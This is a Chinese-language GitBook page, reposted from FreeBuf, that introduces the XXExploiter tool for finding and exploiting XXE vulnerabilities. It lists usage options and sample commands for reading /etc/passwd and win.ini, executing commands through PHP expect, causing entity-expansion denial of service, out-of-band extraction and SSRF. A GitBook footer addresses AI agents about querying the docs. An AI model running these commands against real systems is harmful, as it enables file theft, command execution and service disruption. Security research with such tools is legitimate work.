> For the complete documentation index, see [llms.txt](https://functfan.gitbook.io/gewuzz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://functfan.gitbook.io/gewuzz/java-an-quan/xxe-lou-dong/xxexploiter-gong-ju.md).

# XXExploiter工具

**XXExploiter是一款功能强大的XXE漏洞扫描与利用工具，在它的帮助下，广大安全研究人员可以轻松发现和利用XXE漏洞。**

XXExploiter可以生成XML Payload，并自动开启一台服务器来提供所需的DTD或实现数据提取。该工具目前仍处于开发阶段，但其中大部分的功能已经可以正常使用了。

## 工具安装

```
#install node and npm if you don't have it yet     
npm install -g xxexploiter
```

## 构建&源码运行

下面给出的是一个样本Node应用程序，采用TypeScript开发，所以我们可以轻松构建或集成至其他应用程序中。首先，我们需要安装Node和npm：

```
npm install      
    npm run build      
    #you may need to npm install tsc -g in order for 'npm build' to succeed
```

&#x20;运行该工具，可以使用下列方式运行：

```
npm start [args]      
    node dist/index.js [args]  
```

&#x20;或者，你也可以直接在本地系统中安装：

```
npm link
```

## 工具使用

```
Usage: xxexploiter.ts [command] [options]

    Commands:

      xxexploiter file [file_to_read]  Use XXE to read a file

      xxexploiter request [URL]        Use XXE to do a request

      xxexploiter expect [command]     Use XXE to execute a command through PHP's expect

      xxexploiter xee [expantions]     Generate a huge content by resolving entities

    Fuzzing Specific Options

      -f, --fuzz            Enables fuzz options. Use {{FUZZ}} placeholder in the command arg for the magic.

      -w, --wordlist        Path to a wordlist to be used with the fuzz command

      -y, --success-string  String to search for a success response in the requests

      -n, --error-string    String to search for an error response in the request

    Options:

      --version             Show version number                                                                                                            [boolean]

      -s, --server          Server address for OOB and DTD

      -p, --port            Server port for OOB and DTDs. Default: 7777

      -t, --template        path to an XML template where to inject payload

      -m, --mode            Extraction Mode: xml, oob, cdata. Default: xml

      -e, --encode          Extraction Encoding: none, phpbase64. Default: none

      -o, --output          Output for the XML payload file. Default is to console

      -x                    Use a request to automatically send the xml file

      -X, --request-output  Output the response from -x option. If not defined goes to stdout

      -h, --help            Show help                                                                                                                      [boolean]
```

## 样本命令

```
cli.ts expect ls

    cli.ts -s 127.0.0.1 expect ls -e phpbase64 -m oob -o output.xml

    cli.ts -s 127.0.0.1 file /c/windows/win.ini -t xmltemplate.xml -m oob

    cli.ts xee 900000000 -o output.xml

    cli.ts file /etc/passwd -x request.txt -t template.xml

    cli.ts file /root/{FUZZ} -f -w wordlist.txt -n "not found" -x request.txt
```

### 下面给出是该工具的四个主要命令：

> &#x20;file：读取本地文件；
>
> &#x20;requesst：执行SSRF攻击，从目标设备发送请求；
>
> &#x20;expect：使用PHP执行命令（如果目标是一个PHP应用的话）；
>
> &#x20;XEE：执行参数扩展来尝试引起拒绝服务；

## 注意事项

如果你选择使用OOB或CDATA模式，那么XXExploiter将会生成所需的DTD，并使用一台服务器来托管它们。请记住，如果你使用了这些选项，你还需要设置服务器地址。

&#x20;如果你使用了XML的body内容，那么请记住XML受限字符串（例如’<’）可能会破坏解析数据，所以请确保使用CDATA或PHP的Base64编码。

大多数语言都会限制实体扩展的数量或扩展内容的总长度，因此请确保在与目标相同的条件下，首先在本地计算机上测试XEE。

### 模板

有时我们需要发送带有特定字段的XML，以便能够利用漏洞进行攻击。为此，我们专门引入了-t（–template）选项。

你可以创建一个可以创建常规XML文件，并用它来生成恶意Payload。如果你想要添加请求内容或文件中的内容，你可以替换掉其中的{{XXE}}占位符。

### 请求

完成了上述操作之后，你也不需要手动向服务器发送XML文件，因为-x选项可以自动化完成这部分操作。

你可以使用从从Burp获取的请求，并在此处使用它。（注意，-x选项需要传入一个文件）。除此之外，请求中的相对路径可能无法正常工作。默认情况下，如果发生这种情况，xxexploiter会尝试从主机Header获取URL。

&#x20;在希望注入XML内容的地方，可以添加占位符{{XXE}}，或者如果需要用Base64编码，即使用{{XXE\_B64}}。

### 模糊测试器

如果你找到了一台存在漏洞的服务器，并且想提取出其中的文件，但你又不知道里面有什么的话，那么你就可以使用模糊测试器并利用XXE来根据字典寻找文件了。我们只需要使用参数中的{{FUZZ}}占位符，并结合-x选项来自动化请求即可。

## &#x20;项目地址

> &#x20;XXExploiter：【[GitHub传送门](https://github.com/luisfontes19/xxexploiter)】

&#x20;**\* 参考来源：**[**luisfontes19**](https://github.com/luisfontes19/xxexploiter)**，FB小编Alpha\_h4ck编译，转载请注明来自FreeBuf.COM**


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://functfan.gitbook.io/gewuzz/java-an-quan/xxe-lou-dong/xxexploiter-gong-ju.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
